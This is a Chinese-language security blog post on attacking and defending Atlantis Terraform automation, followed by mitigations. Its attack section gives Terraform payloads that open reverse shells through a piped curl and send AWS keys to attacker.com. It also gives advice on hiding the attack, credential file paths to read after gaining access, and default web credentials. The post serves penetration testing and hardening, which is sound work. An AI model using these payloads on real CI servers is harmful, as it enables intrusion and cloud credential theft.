CICD系列第三篇,可能相对数据安全这种热门、渗透技能这类常青树来说,相对偏冷门点,很多时候在遇到大型互联网企业的架构时,往往会发现关于CICD发版流程中的一些知识点比较难找,主要是可能我也不会,所以想学一学,顺便总结下笔记,分享给大家
对CICD安全感兴趣的,可以顺便看看前两篇:
CICD之Kubernetes 安全
基本信息
Atlantis基本上帮助您从git服务器的拉取请求中运行terraform。
本地实验室
·1.前往https://github.com/runatlantis/atlantis/releases上的atlantis发布页面,下载适合您的版本。
·2.创建您的github用户的个人令牌(具有存储库访问权限)
·3.执行./atlantis testdrive,它将创建一个演示仓库,您可以用来与atlantis交互
·4.您可以在127.0.0.1:4141访问网页
Atlantis访问
Git服务器凭据
Atlantis支持多个git主机,如Github,Gitlab,Bitbucket和Azure DevOps。但是,为了访问这些平台上的存储库并执行操作,它需要获得一些特权访问权限(至少写入权限)。文档鼓励在这些平台上为Atlantis创建一个用户,但有些人可能使用个人帐户。
无论如何,从攻击者的角度来看,Atlantis帐户将是一个非常有趣的被攻击目标。
Webhooks
Atlantis可选地使用Webhook secrets来验证从Git主机接收到的webhooks是否是合法的。
确认这一点的一种方法是允许仅来自您的Git主机IP的请求,但更简单的方法是使用Webhook Secret。
请注意,除非您使用私有的github或bitbucket服务器,否则您将需要将Webhook端点暴露给互联网。
Atlantis将公开Webhooks,以便git服务器可以向其发送信息。从攻击者的角度来看,了解是否可以向其发送消息将是有趣的。
提供者凭据
Atlantis通过在托管Atlantis的服务器上简单地执行terraform plan和apply命令来运行Terraform。就像在本地运行Terraform时一样,Atlantis需要您特定提供者的凭据。
您可以选择如何为Atlantis提供您特定提供者的凭据:
·Atlantis Helm Chart和AWS Fargate模块具有它们自己的提供者凭据机制。请阅读它们的文档。
·如果您在云中运行Atlantis,则许多云都有办法为在其上运行的应用程序提供云API访问权限,例如:
·AWS EC2角色(搜索"EC2 Role")
·GCE实例服务帐户
·许多用户设置环境变量,例如AWS_ACCESS_KEY,其中运行Atlantis。
·其他人创建必要的配置文件,例如~/.aws/credentials,其中运行Atlantis。
·使用HashiCorp Vault Provider获取提供者凭据。
Atlantis运行的容器很可能会包含对由Terraform管理的提供者(AWS,GCP,Github等)的特权凭据。
网页
默认情况下,Atlantis将在本地主机的端口4141上运行一个网页。此页面只允许您启用/禁用atlantis apply并检查存储库的计划状态并解锁它们(它不允许修改事物,因此并不那么有用)。
您可能不会发现它暴露在互联网上,但是默认情况下不需要凭据访问它(如果需要,atlantis:atlantis是默认凭据)。
服务器配置
可以通过命令行标志、环境变量、配置文件或三者混合来指定对atlantis server的配置。
·您可以在这里找到支持的标志列表 Atlantis服务器
·您可以在这里找到如何将配置选项转换为环境变量
值的选择顺序如下:
·1.标志
·2.环境变量
·3.配置文件
请注意,在配置中,您可能会找到令牌和密码等有趣的值。
仓库配置
一些配置会影响仓库的管理方式。然而,每个仓库可能需要不同的设置,因此有多种方法可以指定每个仓库的设置。以下是优先级顺序:
·1.仓库/atlantis.yml文件。可以使用此文件指定atlantis如何处理仓库。但是,默认情况下,某些键不能在没有允许的标志的情况下在此处指定。
·2.可能需要通过allowed_overrides或allow_custom_workflows等标志进行允许
·3.服务器端配置:可以使用--repo-config标志传递它,它是一个为每个仓库配置新设置的yaml文件(支持正则表达式)
·4.默认值
PR保护
Atlantis允许指示是否希望在运行apply之前由其他人**批准PR(即使在分支保护中没有设置)和/或可合并**(分支保护已通过)。从安全角度来看,建议同时设置这两个选项。
如果allowed_overrides为True,则可以通过仓库的/atlantis.yml文件覆盖这些设置。
脚本
仓库配置可以指定在执行工作流之前(pre workflow hooks)和之后(post workflow hooks)运行的脚本。
没有任何选项允许在仓库的/atlantis.yml文件中指定这些脚本。
工作流程
在仓库配置(服务器端配置)中,您可以指定新的默认工作流程,或者创建新的自定义工作流程。您还可以指定哪些仓库可以访问生成的新工作流程。然后,您可以允许每个仓库的atlantis.yaml文件指定要使用的工作流程。
如果将服务器端配置标志allow_custom_workflows设置为True,则可以在每个仓库的**atlantis.yaml文件中指定工作流程。还有可能需要allowed_overrides也指定workflow以覆盖将要使用的工作流程**。这基本上会给任何可以访问该仓库的用户在Atlantis服务器中提供RCE(远程命令执行)权限。
# atlantis.yaml
version:3
projects:
-dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
-run: my custom plan command
apply:
steps:
-run: my custom apply command
Conftest策略检查
Atlantis支持对计划输出运行服务器端的conftest策略。使用此步骤的常见用例包括:
·拒绝使用模块列表
·在创建时断言资源的属性
·捕捉意外的资源删除
·防止安全风险(例如将安全端口暴露给公众)
您可以在文档中了解如何配置它。
Atlantis命令
在文档中您可以找到可以用于运行Atlantis的选项。
help Get
atlantis help
# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
#Options:
# -d directory
# -p project
# --verbose
# You can also add extra terraform options
# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
#Options:
# -d directory
# -p project
# -w workspace
# --auto-merge-disabled
# --verbose
# You can also add extra terraform options
攻击
如果在利用过程中遇到以下错误:Error: Error acquiring the state lock
您可以通过运行以下命令来修复:
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
Atlantis计划RCE - 在新的PR中修改配置
如果您对存储库具有写访问权限,您将能够在其上创建一个新的分支并生成PR。如果您可以执行atlantis plan(或者它可能会自动执行),您将能够在Atlantis服务器内执行RCE。
您可以通过使Atlantis加载外部数据源来实现此目的。只需在main.tf文件中放置以下有效载荷即可:
data "external""example"{
program = ["sh","-c","curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
隐蔽的攻击
你可以以更隐蔽的方式执行这种攻击,按照以下建议操作:
·不要直接将反向 shell 添加到 terraform 文件中,而是可以加载包含反向 shell 的外部资源:
module "not_rev_shell"{
source ="git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
您可以在https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules找到反向Shell代码。
·在外部资源中,使用ref功能将terraform反向Shell代码隐藏在存储库的一个分支中,类似于:[email protected]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
·而不是创建一个PR到主分支来触发Atlantis,创建2个分支(test1和test2),并从一个分支创建一个PR到另一个分支。完成攻击后,只需删除PR和分支。
Atlantis计划机密信息泄露
您可以通过在terraform文件中添加以下内容来导出terraform使用的机密信息运行atlantis plan(terraform plan):
output "dotoken"{
value = nonsensitive(var.do_token)
}
Atlantis应用RCE - 在新的PR中修改配置
如果您对存储库具有写访问权限,您将能够在其上创建一个新的分支并生成PR。如果您可以执行atlantis apply,则可以在Atlantis服务器内部执行RCE。
但是,通常您需要绕过一些保护措施:
·可合并性:如果在Atlantis中设置了此保护措施,则只能在PR可合并时运行**atlantis apply**(这意味着需要绕过分支保护)。
·检查可能的分支保护绕过
·已批准:如果在Atlantis中设置了此保护措施,则必须有其他用户批准PR,然后才能运行atlantis apply。
·默认情况下,您可以滥用Gitbot令牌来绕过此保护措施
在恶意的Terraform文件上运行**terraform apply,并使用**local-exec。 您只需要确保以下类似的有效负载出现在main.tf文件中:
// Payload 1 to just steal a secret
resource "null_resource""secret_stealer"{
provisioner "local-exec"{
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource""rev_shell"{
provisioner "local-exec"{
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
按照前一种技术的建议,以更隐蔽的方式执行此攻击。
Terraform 参数注入
当运行 atlantis plan 或 atlantis apply 时,terraform 在后台运行,您可以通过在 atlantis 中注释的方式向 terraform 传递命令,例如:
atlantis plan --
atlantis plan -- -h#Get terraform plan help
atlantis apply --
atlantis apply -- -h#Get terraform apply help
你可以传递环境变量来绕过一些保护措施。查看https://www.terraform.io/cli/config/environment-variables中的Terraform环境变量。
自定义工作流程
在atlantis.yaml文件中运行恶意自定义构建命令。Atlantis使用拉取请求分支的atlantis.yaml文件,而不是master分支的文件。
在前面的部分中提到了这种可能性:
如果服务器端配置标志allow_custom_workflows设置为True,则可以在每个仓库的**atlantis.yaml文件中指定工作流程。还可能需要在allowed_overrides中指定workflow以覆盖将要使用的工作流程**。
这基本上会给任何可以访问该仓库的用户提供Atlantis服务器中的远程命令执行(RCE)。
# atlantis.yaml
version:3
projects:
-dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
-run: my custom plan command
apply:
steps:
-run: my custom apply command
绕过计划/应用保护
如果服务器端配置标志allowed_overrides已配置apply_requirements,则可能有一个仓库可以修改计划/应用保护以绕过它们。
repos:
-id: /.*/
apply_requirements:[]
PR劫持
如果有人在您的有效拉取请求上发送**atlantis plan/apply的评论**,它将在您不希望运行时运行terraform。
此外,如果您没有在分支保护中配置要求在推送新提交时重新评估每个PR,某人可以在terraform配置中编写恶意配置(检查前面的场景),运行atlantis plan/apply并获得RCE。
这是Github分支保护的设置:
Webhook密钥
如果您设法窃取了使用的Webhook密钥,或者没有使用任何Webhook密钥,您可以调用Atlantis Webhook并直接调用atlantis命令。
Bitbucket
Bitbucket Cloud不支持Webhook密钥。这可能允许攻击者伪造来自Bitbucket的请求。确保只允许Bitbucket的IP。
·这意味着攻击者可以制作伪造的请求发送到Atlantis,看起来像是来自Bitbucket的请求。
·如果您指定了--repo-allowlist,那么他们只能伪造与这些存储库相关的请求,因此他们可能对您自己的存储库进行计划/应用。
·为了防止这种情况,允许Bitbucket的IP地址(请参阅Outbound IPv4地址)。
后渗透
如果您成功访问了服务器,或者至少获得了LFI,那么您应该尝试阅读以下有趣的内容:
/home/atlantis/.git-credentials 包含VCS访问凭据
/atlantis-data/atlantis.db 包含更多信息的VCS访问凭据
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform状态文件
示例:/atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ 环境变量
/proc/[2-20]/cmdline atlantis server的命令行(可能包含敏感数据)
缓解措施
不要在公共存储库上使用
因为任何人都可以在公共拉取请求上发表评论,即使有所有可用的安全缓解措施,仍然在没有正确配置安全设置的情况下在公共存储库上运行Atlantis是危险的。
不要使用--allow-fork-prs
如果您在公共存储库上运行(不推荐,请参见上文),则不应设置--allow-fork-prs(默认为false),因为任何人都可以从其分支向您的存储库打开拉取请求。
--repo-allowlist
Atlantis要求您通过--repo-allowlist标志指定它将接受Webhook的存储库的允许列表。例如:
·特定存储库:--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
·整个组织:--repo-allowlist=github.com/runatlantis/*
·GitHub企业安装中的所有存储库:--repo-allowlist=github.yourcompany.com/*
·所有存储库:--repo-allowlist=*。在受保护的网络中很有用,但如果没有设置Webhook密钥,也很危险。
此标志确保您的Atlantis安装不会与您无法控制的存储库一起使用。有关更多详细信息,请参阅atlantis server --help。
保护Terraform规划
如果攻击者提交带有恶意Terraform代码的拉取请求在您的威胁模型中,则必须意识到仅仅使用terraform apply批准是不够的。可以使用external数据源运行恶意代码,或者指定恶意提供程序。然后,该代码可以窃取您的凭据。
为了防止这种情况,您可以:
·1.将提供程序嵌入到Atlantis镜像中或在生产环境中拒绝出站流量。
·2.在内部实现提供程序注册表协议并拒绝公共出站流量,这样您就可以控制谁有对注册表的写访问权限。
·3.修改您的服务器端存储库配置的plan步骤,以验证是否使用了不允许的提供程序或数据源,或者是否来自不允许的用户的PR。您还可以在此时添加额外的验证,例如在允许plan继续之前要求PR上的“点赞”。在这里,Conftest可能会有用。
Webhook密钥
Atlantis应该使用通过$ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET环境变量设置的Webhook密钥运行。即使设置了--repo-allowlist标志,如果没有Webhook密钥,攻击者仍然可以伪装成允许列出的存储库向Atlantis发出请求。Webhook密钥确保Webhook请求实际上来自您的VCS提供商(GitHub或GitLab)。
如果您使用的是Azure DevOps,可以使用基本用户名和密码代替Webhook密钥。
Azure DevOps基本身份验证
Azure DevOps支持在所有Webhook事件中发送基本身份验证头。这需要在Webhook位置使用HTTPS URL。
SSL/HTTPS
如果您使用Webhook密钥,但流量是通过HTTP进行的,则Webhook密钥可能会被窃取。使用--ssl-cert-file和--ssl-key-file标志启用SSL/HTTPS。
在 Atlantis Web 服务器上启用身份验证
强烈建议在 Web 服务中启用身份验证。使用 --web-basic-auth=true 启用 BasicAuth,并使用 --web-username=yourUsername 和 --web-password=yourPassword 标志设置用户名和密码。
您还可以将这些作为环境变量传递,ATLANTIS_WEB_BASIC_AUTH=trueATLANTIS_WEB_USERNAME=yourUsername 和 ATLANTIS_WEB_PASSWORD=yourPassword。
原文始发于微信公众号(暴暴的皮卡丘):CICD之Atlantis安全
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论